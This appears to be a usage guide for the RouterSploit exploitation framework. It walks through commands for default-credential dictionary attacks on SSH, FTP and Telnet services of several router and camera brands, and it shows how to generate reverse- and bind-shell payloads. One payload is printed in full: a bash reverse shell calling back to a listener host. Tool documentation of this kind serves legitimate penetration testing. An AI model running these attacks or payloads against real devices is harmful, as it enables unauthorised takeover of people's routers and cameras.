RouterSploit Exploitation Framework

RouterSploit is an open-source exploitation framework dedicated to embedded devices. It organizes its capabilities into several functional module types:

• exploits: Modules that take advantage of identified vulnerabilities.
• creds: Modules designed to test credentials against network services.
• scanners: Modules that check if a target is vulnerable to any exploit.
• payloads: Modules responsible for generating payloads for various architectures and injection points.
• generic: Modules that perform generic attacks.

To add Bluetooth Low Energy support, you must install the libglib2.0-dev system library and the bluepy Python package.

apt-get install libglib2.0-dev
python3 -m pip install bluepy
python3 rsf.py

This module performs a dictionary attack using known default credentials against the SSH service of a Mikrotik router. If the attack succeeds, the valid username and password are displayed in a summary table.

# 1. Start RouterSploit
./rsf.py

# 2. Load the module
use creds/routers/mikrotik/ssh_default_creds

# 3. Set the target IP
set target [TargetIP]

# 4. Execute the attack
run

This module performs a dictionary attack using known default credentials against the SSH service of Honeywell Cameras. If the attack succeeds, the valid username and password will be displayed in a summary table.

# 1. Start RouterSploit
./rsf.py

# 2. Load the module
use creds/cameras/honeywell/ssh_default_creds

# 3. Set the target IP
set target 192.168.1.1

# 4. Execute the attack
run

The payloads/mipsbe/reverse_tcp module generates a payload designed to create an interactive TCP reverse shell for devices using the MIPS Big Endian (MIPSBE) architecture. To use this module, you must specify the local host (lhost) and the local port (lport) that will listen for the incoming connection.

rsf > use payloads/mipsbe/reverse_tcp
rsf (MIPSBE Reverse TCP) > set lhost 192.168.1.4
rsf (MIPSBE Reverse TCP) > set lport 4321
rsf (MIPSBE Reverse TCP) > run

The payloads/cmd/php_reverse_tcp module generates a PHP one-liner payload designed to create an interactive TCP reverse shell. This is useful for exploiting embedded devices that have a PHP interpreter available.

To use this module, you must configure the local host (lhost) and the local port (lport) where the shell should connect back to.

rsf > use payloads/cmd/php_reverse_tcp
rsf (PHP Reverse TCP One-Liner) > set lhost <YOUR_IP>
rsf (PHP Reverse TCP One-Liner) > set lport <YOUR_PORT>
rsf (PHP Reverse TCP One-Liner) > run

The payloads/cmd/python_bind_udp module generates a Python one-liner payload designed to create an interactive UDP bind shell. This is useful for establishing remote command execution via UDP transport using Python's exec and base64 capabilities.

rsf > use payloads/cmd/python_bind_udp
rsf (Python Bind UDP One-Liner) > set rport 4321
rsf (Python Bind UDP One-Liner) > run

This module performs a dictionary attack using default credentials against the FTP service of Honeywell Cameras. If the attack succeeds, the valid username and password will be displayed in a summary table.

rsf > use creds/cameras/honeywell/ftp_default_creds
rsf (Honeywell Camera Default FTP Creds) > set target [TargetIP]
rsf (Honeywell Camera Default FTP Creds) > run

This module performs a dictionary attack using default credentials against the Telnet service of Huawei routers. If the module successfully identifies valid credentials, it will display the discovered username and password in a summary table.

rsf > use creds/routers/huawei/telnet_default_creds
rsf (Huawei Router Default Telnet Creds) > set target [TargetIP]
rsf (Huawei Router Default Telnet Creds) > run

The payloads/cmd/bash_reverse_tcp module generates a bash one-liner designed to create an interactive TCP reverse shell. This is useful for gaining command execution on embedded devices that have bash available.

To use this module, you must configure the local host (lhost) and the local port (lport) where the shell will connect back to.

rsf > use payloads/cmd/bash_reverse_tcp
rsf (Bash Reverse TCP) > set lhost 192.168.1.4
rsf (Bash Reverse TCP) > set lport 4321
rsf (Bash Reverse TCP) > run
[*] Generating payload
bash -i >& /dev/tcp/192.168.1.4/4321 0>&1

The creds/cameras/geovision/ssh_default_creds module performs a dictionary attack using default credentials against the SSH service of GeoVision cameras. If the module successfully identifies valid credentials, it will display the discovered username and password in a summary table.

rsf > use creds/cameras/geovision/ssh_default_creds
rsf (GeoVision Camera Default SSH Creds) > set target [TargetIP]
rsf (GeoVision Camera Default SSH Creds) > run

To verify the functionality of this module, follow these steps within the RouterSploit framework:

1. Start the framework: ./rsf.py
2. Load the module: use creds/cameras/jvc/telnet_default_creds
3. Configure the target IP: set target [TargetIP]
4. Execute the attack: run
5. Observe the output for valid credentials.